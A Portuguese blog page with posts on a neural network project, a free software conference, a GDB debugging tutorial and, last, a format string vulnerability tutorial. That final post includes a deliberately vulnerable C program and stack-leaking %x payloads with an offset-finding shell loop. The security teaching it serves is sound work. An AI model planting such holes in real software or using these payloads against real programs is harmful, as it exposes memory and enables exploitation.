Projeto Ruby Neuron

July 2nd, 2009 Marcos Álvares No comments

Em Abril iniciei um projeto open source chamado Ruby Neuron, esse projeto tem por objetivo fazer uma ligação entre as novas técnicas na área de Redes Neurais Artificiais (RNAs) e a aplicação destas para solução de problemas reais encontrados na sociedade. A inspiração inicial surgiu da observação que a ciência avança bem rápido, descobrindo novas técnicas e novas otimizações de algorítimos, e essas não são usadas nos frameworks tradicionais para melhoria de performances e resultados. Outro objetivo, não menos importante que o primeiro, é desfazer o estigma relacionado a complexidade relacionada ao uso das técnicas de inteligencia computacional.

O Ruby Neuron além de fornecer uma poderosa ferramenta para classificação e inferência ainda funciona como uma API flexível para simulação e testes de novos modelos de Redes Neurais Artificiais. Com isso teremos uma ferramenta para auxílio a pesquisa e desenvolvimento na área de inteligencia computacional.

O escopo do projeto será restrito a Redes Neurais Artificiais, não se estendendo a outras técnicas de computação inteligente (tenho experiências negativas de projetos generalistas). O mesmo tempo dedicado a desenvolvimento do código será dedicado a infra-estrutura, documentação e testes, de forma a construirmos uma boa base de exemplos e documentos disponibilizados para a comunidade.

O escopo e a infra-estrutura do projeto já estão formados, em breve será lançado o primeiro release e com isso espero receber novos usuários, desenvolvedores e pesquisadores.

Décimo Fórum Internacional de Software Livre

June 28th, 2009 Marcos Álvares 3 comments

No período de 24 ao dia 27 de Junho ocorreu na PUC de Porto Alegre a décima edição do FISL (Fórum Internacional de Software Livre), o qual tive o prazer de participar. Foi um evento de grandes proporções, contando com mais de oito mil inscritos, oito palestras simultâneas e nove rodadas de palestras por dia, workshops e oficinas.

A princípio fiquei desconfiado, pois um evento de “software livre” é algo que abrange as mais diversas áreas da computação, algo muito generalista e diferente do modelo de evento mais especifico que acompanho. A diversidade de temas foi impressionante, tentando satisfazer desde profissionais de administração de sistemas à designers gráficos. Consegui montar uma agenda, com praticamente todos os slots lotados só com palestras com temas de meu interesse (\O/).

Stands de empresas no FISL10

Stands de empresas no FISL10

Tive a oportunidade de assistir algumas apresentações e a que me chamou mais atenção foi a de D.J. Bernstein (o criador do djbdns [1] e qmail [2]) sobre uma alternativa ao modelo de proteção usado para o protocolo DNS. Ele mostrou os problemas de segurança encontrados na infra-estrutura de tradução de nomes de uma forma concisa e as dificuldades encontradas na tentativa de achar soluções para tais problemas. DJB propôs uma alternativa a solução até então usada (o DNSSEC [3]), chamada DNSCurve [4] que faz uso de algorítimos criptograficos baseados curvas elípticas [5](Elliptic Curve Cryptography).

Bernstein é pesquisador ligado a universidade de Illinois, matemático e engenheiro de software. Na minha opinião, o cara é um exemplo de engenharia e pragmatismo. Tem uma visão ímpar de problemas centrais na infra-estrutura da internet além de se expressar muito bem.

DJB falando sobre o DNSCurve

DJB falando sobre o DNSCurve

O evento também contou com a presença de dinossauros do software livre como John Maddog Hall e Richard Stalman (falando de filosofia, liberdade e etc).

Outro ponto alto do evento foi a apresentação de Peter Sunde mostrando a sua “cruzada”, em um formato bem descontraído, com o Pirate Bay.

Peter Sunde e o Pirate Bay

Peter Sunde e o Pirate Bay

Em fim, o FISL foi um evento muito enriquecedor e bem organizado, recomendo a todos e com certeza voltarei próximo ano.

Depurando com o GDB na prática

April 12th, 2009 Marcos Álvares 3 comments

Recebi algum feedback a respeito da série sobre desenvolvimento para vulnerabilidades e percebi que muitas pessoas estão com dificuldades com o GDB (GNU Debugger), que é uma excelente ferramenta, de código aberto, para estudo e depuração de problemas em softwares. Por isso, resolvi escrever esse post, como uma tentativa de apresentar o básico das funcionalidades desse depurador.

Em primeiro lugar, vale salientar, que o que irei listar aqui é apenas o básico de depuração usando o GDB em relação a imensidão de recursos que essa  ferramenta provê e que é muito bem documentado [1], [2] e [3].

Esse depurador, que já possui 21 anos, foi escrito por Richard Stallman em 1988 sob a licença GPL General Public License da GNU para auxiliar no desenvolvimento de aplicações em C, C++ e Fortran. Ele oferece suporte a diversas arquiteturas como: Alpha, ARM, H8/300, System/370, System 390, X86 e X86-64, IA-64 “Itanium”, Motorola 68000, MIPS, PA-RISC, PowerPC, SuperH, SPARC, VAX. Em fim, é uma ferramenta já madura, usada e aperfeiçoada por muitas gerações de programadores como apoio ao desenvolvimento de softwares.

Muitas pessoas confundem os termos disassembler (decompilador) com debugger (depurador) e há uma diferença significativa entre essas duas categorias de ferramentas. A primeira é usada para fazer engenharia reversa de código para análise de malwares e forense, essas ferramentas tentam tornar mais simples a análise de um executável fazendo compilação de linguagem de máquina apara uma linguagem cuja sintaxe seja mais próxima da natural ou da linguagem de programação original do código. Os depuradores funcionam como ferramenta de apoio ao desenvolvimento permitindo ao programador fazer pausas na execução e alterações no ambiente para análise do comportamento da execução do sistema. Em suma, uma é mais apropriada para entender o significado de um código e a outra para auxílio ao desenvolvimento e observação do comportamento da execução de um código.

Para todos os exemplos desse artigo será usado o seguinte código:

#include <stdio.h>
#include <stdlib.h>

int soma (int a, int b) {
        return a + b;
}

int main() {
        printf("\n\n\t[+] A soma de 2 + 3 = %d\n\n", soma(2,3));
        return 0;
}

Vamos mostrar o funcionamento de duas ferramentas: o IDApro (decompilador e depurador) e o GDB (depurador).

O IDApro [4], é sem sombra de dúvidas é o engenho mais usado para fazer engenharia reversa do mundo. Um ponto muito positivo é que o IDA é altamente extensível, possibilitando a construção de plugins para análise estática e visualização de código. O IDA é um software privado (módica quantia de U$ 515,00), desenvolvido por Ilfak Guilfanov e é distribuído pela Hex-Rays[5].

Em primeiro lugar, vamos mostrar o uso do IDApro (a versão para Linux) para decompilar o programa acima exibido. Note como a interface gráfica torna a leitura do código Assembly mais simples, mostrando os segmentos do programa em memória de uma forma que permite você navegar e fazer saltos para qualquer endereço exibido na tela apenas clicando em cima dos símbolos.

Decompilação da função main pelo IDApro

Fig 01 - Decompilação da função main pelo IDApro

Fig 02 - Decompilação da função soma

Fig 02 - Decompilação da função "soma"

Fig 03 - Visualização de contexto de registradores

Fig 03 - Visualização de contexto dos registradores

A versão para Windows possui um output mais intuitivo em forma de grafo, explicitando o fluxo do software. Segue um screenshot do IDA usando um plugin de visualização chamado Binnavi desenvolvido pela Zynamics [6]:

Fig. 05 - IDA usando o plugin Binnavi

Fig. 04 - IDA usando o plugin Binnavi

Essa foi uma visão geral sobre o IDA, porém, como foco desse post é depurar usando o GDB, agora vamos separar alguns grupos de funções dessa ferramenta e tentar detalhar cada categoria de funções através de exemplos. Apesar de ter integração com diversas IDEs como o Eclipse e o Kdevelop o GDB possui um ponto fraco que é o fato de não possuir uma interface gráfica oficial. Porém, a maior parte dos usuários do GDB preferem usá-lo através da sua interface texto, que uma vez aprendida a sintaxe dos comandos se ganha uma boa flexibilidade e agilidade no processo de depuração.

* Execução:

Vamos compilar e executar nosso programa passando parâmetros para o nosso executável (mesmo que ele não esteja esperando). Vamos mostrar como se inicia o processo de depuração usando o GDB e a sintáxe para passagem de parâmetros através deste.

$ gcc -ggdb -o teste teste.c

$ ./teste
        [+] A soma de 2 + 3 = 5

$ gdb teste
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb)

Aqui nós “caímos” no prompt de comando do GDB. O nosso binário “teste” ainda não foi executado. O que acontece é que agora o GDB está funcionando como um “proxy” entre o software depurado e o sistema operacional. Isso significa que toda chamada de sistema, antes de chegar no sistema operacional, passará por dentro do GDB e com isso ele pode controlar e examinar o nosso processo. Para fazer tal façanha o GDB faz uso de uma biblioteca chamada ptrace [7].

Posição do GDB em relação ao SO e ao processo depurado

Fig. 05 - Posição do GDB em relação ao SO e ao processo depurado

Para executar o programa no GDB usamos o comando “run” ou simplesmente o atalho “r“:

(gdb) run
Starting program: /home/mabj/tmp/gdb/teste
        [+] A soma de 2 + 3 = 5
Program exited normally.

(gdb) run param1 param2    < --- Executando o nosso binário passando parâmetros
Starting program: /home/mabj/tmp/gdb/teste param1 param2
        [+] A soma de 2 + 3 = 5
Program exited normally

Note a sintaxe para passar parâmetros, pois isso será muito útil em diversas situações. Nós podemos também usar código shell para formar nossos parâmetros e com isso gerar entradas que não são triviais de serem geradas na mão:

(gdb) run $'\x41\x41'
Starting program: /home/mabj/tmp/gdb/teste $'\x41\x41'
        [+] A soma de 2 + 3 = 5
Program exited normally.
(gdb) r $(perl -e "print 'marcos'")
Starting program: /home/mabj/tmp/gdb/teste $(perl -e "print 'marcos'")
        [+] A soma de 2 + 3 = 5
Program exited normally.

* Exibindo o código:

Nessa sessão vamos mostrar os comandos de visualização e navegação no código Assembly do processo depurado. O comando principal é o “disassemble“, que mostra o código referente a um símbolo conhecido no nosso programa. No nosso caso nós temos duas funções no nosso programa: “main” e “soma”. Vamos mostrar o Assembly da nossa função ” main”.

(gdb) disassemble main
Dump of assembler code for function main:
0x080483d1 <main+0>:    lea    0x4(%esp),%ecx
0x080483d5 <main+4>:    and    $0xfffffff0,%esp
0x080483d8 <main+7>:    pushl  -0x4(%ecx)
0x080483db <main+10>:   push   %ebp
0x080483dc <main+11>:   mov    %esp,%ebp
0x080483de <main+13>:   push   %ecx
0x080483df <main+14>:   sub    $0x14,%esp
0x080483e2 <main+17>:   movl   $0x3,0x4(%esp)
0x080483ea <main+25>:   movl   $0x2,(%esp)
0x080483f1 <main+32>:   call   0x80483c4 <soma>
0x080483f6 <main+37>:   mov    %eax,0x4(%esp)
0x080483fa <main+41>:   movl   $0x80484e0,(%esp)
0x08048401 <main+48>:   call   0x80482f8 <printf@plt>
0x08048406 <main+53>:   mov    $0x0,%eax
0x0804840b <main+58>:   add    $0x14,%esp
0x0804840e <main+61>:   pop    %ecx
0x0804840f <main+62>:   pop    %ebp
0x08048410 <main+63>:   lea    -0x4(%ecx),%esp
0x08048413 <main+66>:   ret
End of assembler dump.

Podemos exibir o código das outras funções presentes dentro do nosso bloco de código principal.

(gdb) disassemble soma
Dump of assembler code for function soma:
0x080483c4 <soma+0>:    push   %ebp
0x080483c5 <soma+1>:    mov    %esp,%ebp
0x080483c7 <soma+3>:    mov    0xc(%ebp),%edx
0x080483ca <soma+6>:    mov    0x8(%ebp),%eax
0x080483cd <soma+9>:    add    %edx,%eax
0x080483cf <soma+11>:   pop    %ebp
0x080483d0 <soma+12>:   ret
End of assembler dump.
(gdb) disassembe printf
Dump of assembler code for function printf:
0xb7f70c10 <printf+0>:  push   %ebp
0xb7f70c11 <printf+1>:  mov    %esp,%ebp
0xb7f70c13 <printf+3>:  push   %ebx
0xb7f70c14 <printf+4>:  call   0xb7f3d4bf
0xb7f70c19 <printf+9>:  add    $0x1103db,%ebx
0xb7f70c1f <printf+15>: sub    $0xc,%esp
0xb7f70c22 <printf+18>: lea    0xc(%ebp),%eax
0xb7f70c25 <printf+21>: mov    %eax,0x8(%esp)
0xb7f70c29 <printf+25>: mov    0x8(%ebp),%eax
0xb7f70c2c <printf+28>: mov    %eax,0x4(%esp)
0xb7f70c30 <printf+32>: mov    -0xbc(%ebx),%eax
0xb7f70c36 <printf+38>: mov    (%eax),%eax
0xb7f70c38 <printf+40>: mov    %eax,(%esp)
0xb7f70c3b <printf+43>: call   0xb7f66990 <vfprintf>
0xb7f70c40 <printf+48>: add    $0xc,%esp
0xb7f70c43 <printf+51>: pop    %ebx
0xb7f70c44 <printf+52>: pop    %ebp
0xb7f70c45 <printf+53>: ret
End of assembler dump.

Quando o processo é carregado em memória existe uma sessão específica chamada “.text” que é onde ficará o código da nossa aplicação. Nós podemos exibir trechos essa sessão através do endereço direto. Por exemplo, nós sabemos que o endereço da nossa função “soma” é “0×080483c4“, nós podemos solicitar ao GDB o Assembly dessa região, em específico, através do comando “x/(n)i” no lugar de “n” nós colocamos a quantidade de posições que após aquele endereço, será exibido o código.

(gdb) x/i 0x080483c4
0x80483c4 <soma>:       push   %ebp
(gdb) x/5i 0x080483c4
0x80483c4 <soma>:       push   %ebp
0x80483c5 <soma+1>:     mov    %esp,%ebp
0x80483c7 <soma+3>:     mov    0xc(%ebp),%edx
0x80483ca <soma+6>:     mov    0x8(%ebp),%eax
0x80483cd <soma+9>:     add    %edx,%eax

Com esses comandos nós podemos visualizar qualquer parte do espaço de endereçamento do processo que contenha código, não apenas a região “.text” mas qualquer região que possua instruções válidas.

* Manipulação de Breakpoints:

A função dos breakpoints é solicitar ao GDB que ele suspenda a execução do software em um determinado ponto, para que nós analisemos o contexto de memória e registradores alterados. O comando para colocarmos um breakpoint é o “breakpoint *n“, onde “n” é o endereço onde você quer que o breakpoint seja colocado e o “*” é para indicar que ali você esta passando um endereço diretamente para o depurador. Para exemplificar, vamos colocar um endereço antes de entrar na função “soma” (0×080483f1 <main +32>) e outro antes do printf (0×08048401 <main +48>).

Para visualizar os breakpoints podemos usar o comando “info breakpoint“. Cada breakpoint tem um identificador, mostrado na coluna “Num“, quando executarmos nosso programa, o fluxo dos breakpoints percorridos será indicado por esse índice.

(gdb) break *0x080483f1
Breakpoint 1 at 0x80483f1: file teste.c, line 9.

(gdb) break *0x08048401
Breakpoint 2 at 0x8048401: file teste.c, line 9.

(gdb) info breakpoint
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x080483f1 in main at teste.c:9
2       breakpoint     keep y   0x08048401 in main at teste.c:9

Para excluir um breakpoint é usado o comando “delete breakpoint ID“, onde ID é o número identificador do breakpoint.

(gdb) delete breakpoint 2
(gdb) info breakpoint
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x080483f1 in main at teste.c:9

Com isso só restou o breakpoint 1 que é acionado antes da chamada a função “soma“. Vamos ver como que isso funciona ao executarmos o nosso programa exemplo com o comando de execução que já vimos.

(gdb) run
Starting program: /home/mabj/tmp/gdb/teste
Breakpoint 1, 0x080483f1 in main () at teste.c:9
9               printf("\n\n\t[+] A soma de 2 + 3 = %d\n\n", soma(2,3));

O fluxo do nosso programa esta paralisado no endereço 0×080483f1, que é o local onde temos a chamada para a função “soma“. Para darmos continuidade a execução do software podemos fazer isso passo-a-passo (step-by-step) que executa o comando chamando uma instrução por vez e parando o fluxo novamente após a chamada de cada instrução, essa modalidade é realizada através do comando “step“. Ou podemos mandar o programa continuar a execução até que ache outro breakpoint através do comando “continue“.

(gdb) run
Starting program: /home/mabj/tmp/gdb/teste

Breakpoint 1, 0x080483f1 in main () at teste.c:9
9               printf("\n\n\t[+] A soma de 2 + 3 = %d\n\n", soma(2,3));
(gdb) step
soma (a=2, b=3) at teste.c:5
5               return a + b;
(gdb) step
6       }

Coloquei novamente o breakpoint 2 para que possamos testar o comando “continue“.

(gdb) run
Starting program: /home/mabj/tmp/gdb/teste

Breakpoint 1, 0x080483f1 in main () at teste.c:9  < -- Parou em "soma"
9               printf("\n\n\t[+] A soma de 2 + 3 = %d\n\n", soma(2,3));
(gdb) continue
Continuing.
Breakpoint 2, 0x08048401 in main () at teste.c:9   < -- Parou em "printf"
9               printf("\n\n\t[+] A soma de 2 + 3 = %d\n\n", soma(2,3));
(gdb) continue
Continuing.
        [+] A soma de 2 + 3 = 5
Program exited normally.

Com esses comandos nós podemos parar o fluxo do programa e ir executando passo-a-passo para analisar o contexto e as modificações realizadas na memória e nos registradores. Aprendemos até agora a visualizar o código e controlar o fluxo de execução. Vamos mostrar como visualizar informações importantes para o entendimento do código depurado.

* Visualizando informações:

Vamos mostrar alguns comandos para visualizar conteúdo na memória, isso é bem útil para visualizarmos o estado de variáveis e de endereços específicos na memória ao decorrer da execução do programa. Usando o nosso modo de compilação específico para depuração, usando o (”gcc -ggdb“), nós podemos ver as variáveis diretamente pelo seu símbolo. Para exemplificar coloquei um breakpoint na adição realizada na função “soma“. Vamos visualizar os valores dos parâmetros da função “soma” armazenados nas variáveis “a” e “b“. Vamos alterar algum valor e mandar continuar a execução do código.

(gdb) run
Starting program: /home/mabj/tmp/gdb/teste
Breakpoint 4, soma (a=2, b=3) at teste.c:5
5               return a + b;
(gdb) print a
$4 = 2  <-- O valor do parâmetro "a"
(gdb) print b
$5 = 3 <-- O valor do parâmetro "b"
(gdb) set variable a=50 <; -- Alterei o valor da variável "a"
(gdb) continue
Continuing.
        [+] A soma de 2 + 3 = 53  <-- Mudei  o resultado do programa
Program exited normally.

É possível também, mandar alterar uma região de memória especificada pelo seu endereço diretamente. Vamos exemplificar com a variável “a” do parâmetro de “soma“. Vamos obter o endereço dessa variável e a partir deste obtermos o seu conteúdo.

(gdb) run
Starting program: /home/mabj/tmp/gdb/teste
Breakpoint 4, soma (a=2, b=3) at teste.c:5
5               return a + b;
(gdb) x/x &a  <-- Consegui o endereço de "a"
0xbf98bef0:     0x00000002
(gdb) x/x 0xbf98bef0 <-- Obtive diretamente o conteúdo de "a"
0xbf98bef0:     0x00000002
(gdb) set variable *0xbf98bef0=0x30
(gdb) continue
Continuing.
        [+] A soma de 2 + 3 = 51 <-- Note que alteramos o valor de "a"
Program exited normally.

Observe que a mesma notação e semântica de ponteiro que temos em C/C++ pode ser usada com variáveis no GDB.
Para visualizar os valores que estão nos registradores durante a depuração, nós podemos usar o comando “info register” para visualizar uma tabela com todos os registradores e seus respectivos valores ou o comando “info register r” onde “r” é o nome do registrador a ser visualizado.

(gdb) info register
eax            0xbfe49c64       -1075536796
ecx            0xbfe49be0       -1075536928
edx            0x1      1
ebx            0xb7f19ff4       -1208901644
esp            0xbfe49bb0       0xbfe49bb0
ebp            0xbfe49bc8       0xbfe49bc8
esi            0x8048430        134513712
edi            0x8048310        134513424
eip            0x80483e2        0x80483e2 
eflags 0x282 [ SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) info register eax <-- Vendo o valor armazenado no registrador eax eax 0xbfe49c64 -1075536796

* Examinando a Pilha:

A pilha é a região da memória alocada para armazenar os valores de variáveis locais a um determinado escopo (funções, métodos, blocos), ela funciona de acordo com um algoritmo de LIFO (ultimo a entrar será o primeiro a sair) [8]. Um frame na pilha, significa a porção de memória reservada para armazenar os valores presentes dentro de um escopo durante sua execução. O GDB organiza e exibe a pilha em forma de frames, durante a depuração de problemas, nós podemos acompanhar e manipular a o fluxo de frames na pilha. Assim podemos fazer backtraces para observarmos qual o caminho percorrido pelo nosso código até então ou o aninhamento de chamadas a funções e blocos.

Para exemplificar, colocamos um breakpoint dentro da função “soma” e digitamos o comando backtrace para exibir a lista de frames armazenadas na pilha, nós podemos também apenas digitar o comando “frame” para exibir o frame atual.

(gdb) run
Starting program: /home/mabj/tmp/gdb/teste
Breakpoint 4, soma (a=2, b=3) at teste.c:5
5               return a + b;
(gdb) backtrace
#0  soma (a=2, b=3) at teste.c:5
#1  0x080483f6 in main () at teste.c:9
(gdb) frame
#0  soma (a=2, b=3) at teste.c:5
5               return a + b;

Nós podemos mudar o contexto do nosso frame atual para depurar dentro de um escopo mais externo com o comando “frame n”. No exemplo anterior nós suspendemos a execução com um breakpoint dentro da função “soma”, com isso nós podemos investigar todas as variáveis dentro dessa função. Para investigar o contexto de “main” temos que mudar o nosso frame atual.

(gdb) r
Starting program: /home/tmp/gdb/teste
Breakpoint 4, soma (a=2, b=3) at teste.c:5
5               return a + b;
(gdb) backtrace
#0  soma (a=2, b=3) at teste.c:5
#1  0x080483f6 in main () at teste.c:9
(gdb) frame
#0  soma (a=2, b=3) at teste.c:5 <-- Frame atual é o "0"
5               return a + b;
(gdb) print a <-- Conseguimos enxergar a variável "a"
$6 = 2
(gdb) frame 1 <-- Mudamos o contexto atual para o frame "1"
#1  0x080483f6 in main () at teste.c:9
9               printf("\n\n\t[+] A soma de 2 + 3 = %d\n\n", soma(2,3));
(gdb) frame
#1  0x080483f6 in main () at teste.c:9
9               printf("\n\n\t[+] A soma de 2 + 3 = %d\n\n", soma(2,3));
(gdb) print a <-- Agora não enxergamos mais a variável "a"
No symbol "a" in current context.

Vamos depurar agora usando como referência o nosso stack pointer (esp), nesse registrador temos o endereço do topo da nossa pilha. Nós sabemos que os parâmetros da função “soma” estão na pilha e podemos navegar por endereços acima do nosso stack pointer (durante o breakpoint interno a função “soma”) até encontrarmos esse valor e depois manipulá-lo diretamente através do seu endereço.

(gdb) i r esp
esp            0xbfc0bc18       0xbfc0bc18
(gdb) x/x esp+4
No symbol "esp" in current context.
(gdb) x/x $esp+4
0xbfc0bc1c:     0x080483f6
(gdb) x/x $esp+4
0xbfc0bc1c:     0x080483f6
(gdb)
0xbfc0bc20:     0x00000002  <-- Variável "a"
(gdb)
0xbfc0bc24:     0x00000003  <-- Variável "b"
(gdb) set variable *0xbfc0bc24=0x30 <-- colocamos 48 dentro do valor de b
(gdb) continue
Continuing.
        [+] A soma de 2 + 3 = 50 <-- Note que alteramos o valor de "b"
Program exited normally.

Bom, esse artigo foi uma visão bem geral de algumas funcionalidades do GNU Debugger, espero que essas dicas sejam úteis para depuração de problemas em softwares reais. Recomendo fortemente a leitura dos artigos indicados nas referências. Aprender a depurar é semelhante a aprender a programar, sem prática não temos resultados, por isso é necessário que você reserve um tempo para praticar os conceitos apresentados. Espero que esse artigo ajude as pessoas que estavam com dificuldades nos artigos de desenvolvimento para vulnerabilidades. ; ]

[Referências]
[1] Documentação de uso do GDB
[2] Documentação do engenho interno ao GDB
[3] Tutorial sobre o GDB
[4] Site do IDApro
[5] Site da empresa hex-rays que fornece o IDApro
[6] Site da empresa Zynamics que fornece o Binnave
[7] Manpage da biblioteca ptrace
[8] Algoritmo usado para a construção de uma pilha

Categories: Technology Tags: , , ,

[VD02] – Format String

March 28th, 2009 Marcos Álvares 1 comment

Neste post irei tentar explicar em detalhes os fundamentos da categoria de vulnerabilidades denominada de “Format String“. Explicarei o que são vulnerabilidades de Format String, o porquê que essas vulnerabilidades ocorrem e como explorar tais falhas. Irei usar o Sistema operacional Linux com o  GNU Debugger (GDB) e o GNU Compiler Collection (GCC). Apesar do uso de um sistema operacional específico, essa categoria de vulnerabilidade ocorre e é explorável em muitos outros sistemas. O objetivo desse artigo é mostrar para o leitor a essência da técnica, de modo que após a compreensão dos fundamentos, o próprio possa pesquisar as variações do ataque.

Todos que já programaram na linguagem C já usaram a famosa função printf que é padrão da biblioteca stdio da libc [1]. Pois bem, vamos analisar o formato da função printf retirada da glibc 2.9:

int __printf (const char *format, ...) {
  va_list arg;
  int done;

  va_start (arg, format);
  done = vfprintf (stdout, format, arg);
  va_end (arg);

  return done;
}

int vfprintf (FILE *s, const CHAR_T *format, va_list ap) {
...
}

Uma característica a se notar no código acima é que o parâmetro “format” passado para a função printf não recebe nenhum tratamento ou nenhuma checagem de tamanho e formato, é ele que vai especificar para a função qual o formato da string a ser impressa no file handler especificado por File *s que no caso de printf é a saida padrão (STDOUT) e a quantidade de parâmetros a mais que a função deve receber para poder substituir os caracteres coringas iniciados com “%” no parâmetro de formatação. Esse é um dos dois fatores que tornam o ataque estudado possível. O segundo fator a forma como as funções funcionam em código de máquina. Vamos mostrar isso passo a passo:

#include <stdio.h>
#include <stdlib.h>

void sum (int a, int b, int c) {
        printf("\n%d + %d + %d = %d\n\n", a, b, c, (a+b+c));
}

int main (int argc, char *argv[]) {
        sum(1, 2, 3);
}

O código em C de uma função que recebe três números inteiros como parâmetro e retorna a o resultado da soma dos três.

(gdb) disas main
Dump of assembler code for function main:
0x080483fc :  lea    0x4(%esp),%ecx
0x08048400 :  and    $0xfffffff0,%esp
0x08048403 :  pushl  -0x4(%ecx)
0x08048406 :  push   %ebp
0x08048407 :  mov    %esp,%ebp
0x08048409 :  push   %ecx
0x0804840a :  sub    $0x14,%esp <--- Aloca espaço na pilha para os parâmetros
0x0804840d :  movl   $0x3,0x8(%esp) <--- Coloca 3 na pilha
0x08048415 :  movl   $0x2,0x4(%esp) <--- Coloca 2 na pilha
0x0804841d :  movl   $0x1,(%esp) <--- Coloca 1 na pilha
0x08048424 :  call   0x80483c4 <--- Chama a função "sum"
0x08048429 :  add    $0x14,%esp <--- Limpa o espaço reservado
0x0804842c :  pop    %ecx
0x0804842d :  pop    %ebp
0x0804842e :  lea    -0x4(%ecx),%esp
0x08048431 :  ret
End of assembler dump.
(gdb) disas sum
Dump of assembler code for function sum:
0x080483c4 :  push   %ebp
0x080483c5 :  mov    %esp,%ebp
0x080483c7 :  sub    $0x18,%esp
0x080483ca :  mov    0xc(%ebp),%edx <--- Retira primeiro parâmetro da pilha
0x080483cd :  mov    0x8(%ebp),%eax <--- Retira segundo parâmetro da pilha
0x080483d0 :  add    %edx,%eax <--- Executa soma
0x080483d2 :  add    0x10(%ebp),%eax <--- Soma resultado com terceiro parâmetro
0x080483d5 :  mov    %eax,0x10(%esp)
0x080483d9 :  mov    0x10(%ebp),%eax
0x080483dc :  mov    %eax,0xc(%esp)
0x080483e0 :  mov    0xc(%ebp),%eax
0x080483e3 :  mov    %eax,0x8(%esp)
0x080483e7 :  mov    0x8(%ebp),%eax
0x080483ea :  mov    %eax,0x4(%esp)
0x080483ee :  movl   $0x8048500,(%esp)
0x080483f5 :  call   0x80482f8
0x080483fa :  leave
0x080483fb :  ret
End of assembler dump.

Note que é feito o uso da pilha para a operação de passagem de parâmetros para uma determinada função. Quando uma função é projetada, o seu código já leva em consideração que irá encontrar os parâmetros dentro da pilha, acessando esses logo no início da chamada a função usando o endereço da base da pilha, armazenado em %ebp, para fazer uma referência relativa.

Juntando essas duas características chegamos a causa da vulnerabilidade estudada. O primeiro parâmetro de printf (o “format“) especifica a quantidade de parâmetros que a função deve receber de acordo com a quantidade de “%”s. O que acontece se nós colocarmos um “%” e nos “esquecemos” de passar o parâmetro com o valor para ser exibido nessa posição?
Ex:

printf("\n\t[%x] [%x] [%x] [%x]\n");
--------
$ ./bug
        [0x8049ff4] [0xbffce578] [0x8048419] [0xb7fc1f50]

A função printf pegará valores na pilha que não estava no plano do programador de serem exibidos. No exemplo acima, mostramos que o resultado do printf foi a impressão de 16 bytes que estavam na pilha. Isso ocorre não só para printf, mas para qualquer funcão dessa família:

envy:~/tmp/glibc-2.9/stdio-common$ ls -la *printf* | grep -v tst | grep -v test
-rw-r--r-- 1 mabj mabj  1465 2006-01-14 09:09 asprintf.c
-rw-r--r-- 1 mabj mabj  1324 2006-01-14 09:09 dprintf.c
-rw-r--r-- 1 mabj mabj  1479 2006-01-14 09:09 fprintf.c
-rw-r--r-- 1 mabj mabj  1501 2005-08-08 17:05 fxprintf.c
-rw-r--r-- 1 mabj mabj  1347 2006-01-14 09:09 printf.c
-rw-r--r-- 1 mabj mabj  1379 2006-01-14 09:09 snprintf.c
-rw-r--r-- 1 mabj mabj  1393 2006-01-14 09:09 sprintf.c
-rw-r--r-- 1 mabj mabj 74108 2008-07-25 20:38 vfprintf.c
-rw-r--r-- 1 mabj mabj    68 1999-06-16 19:41 vfwprintf.c
-rw-r--r-- 1 mabj mabj  1265 2006-01-14 09:09 vprintf.c

Agora vem o “pulo do gato”… imagine só se um programador descuidado usa o input do usuário como entrada para o parâmetro de formato de uma determinada função da família printf. Em uma primeira observação nós poderíamos imprimir todo o conteúdo da pilha do processo alvo através da inserção de muitos “%”s na string de formato. Ex:

#include
#include 

void print_str(char *param) {
    printf(param); < --| Usado como parâmetro de formatação
}

int main (int argc, char *argv[]) {
    print_str(argv[1]); < --| Passado direto para a função
}
envy:~format_string$ ./vuln_03 '[%#x] [%#x] [%#x] [%#x] [%#x]'
[0x8049ff4] [0xbfdf0378] [0x80483f8] [0xbfdf176a] [0x8049ff4]

Como nós já sabemos que o parâmetro passado para a função “print_str” é jogado na pilha para que possa ser executado junto com printf e que podemos imprimir os valores de pilha através da manipulação do parâmetro de formatação passado, isso significa que podemos imprimir na tela o próprio parâmetro de printf que está na pilha.

./vuln_03 'AAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x'

AAAAAAAAAAAAAAAAAAAA8049ff4bffff47880483f8bffff65d8049ff4bffff48880484
39b7ff0f50bffff490bffff4e8b7e8968580484208048310bffff4e8b7e896852bffff514b
ffff520b7fe2b381108048230b7fccff480484208048310bffff4e8df892179f14c95690
00b7ff6090b7e895adb7ffeff4280483100804833180483d72bffff5148048
4208048410b7ff0f50bffff50cb7ffbaaa2bffff653bffff65d0bffff788bffff79cbf
fff7afbffff7cabffff7d5bffff7e5bffff836bffff882bffff8d1bffff922bffff93bbffff94
dbffff963bffff96dbffffd96bffffdc3bffffdf2bffffe1dbffffe6abffffe82bffffeb7bfff
feedbffffefebfffff0fbfffff26bfffff36bfffff3ebfffff56bfffff63bfffff83
bfffff8ebfffffb0bfffffbbbfffffc7020b7ffd42021b7ffd00010bfe9fbff61000116438
048034420587b7fe30008098048310b3e8c3e8d3e8e3e81701fbffffff2fbffff64b00
0690000003638362e0000006c75762f33305f6e41414100414141414141
4141414141414141414125782541257825782578257825782578

Olhando rapidamente a manpage da função printf podemos ver que é possível simplificar nosso format string para algo mais prático usando o que é chamado de Direct Parameter Access “%n\$x”, onde “n” é o número do %x que será mostrado na tela. Para descobrir qual o n que representa a posição do nosso parâmetro podemos fazer um shellscript simples.

$   for i in `seq 1 200`; do ./vuln_03 "BAAAA[0x%$i\$x]" ;echo "            $i"; done | grep 4141
BAAAA[0x41414142]            134

$ ./vuln_03 "BAAAA[0x%134\$x]"
BAAAA[0x41414142] < --- AAAB

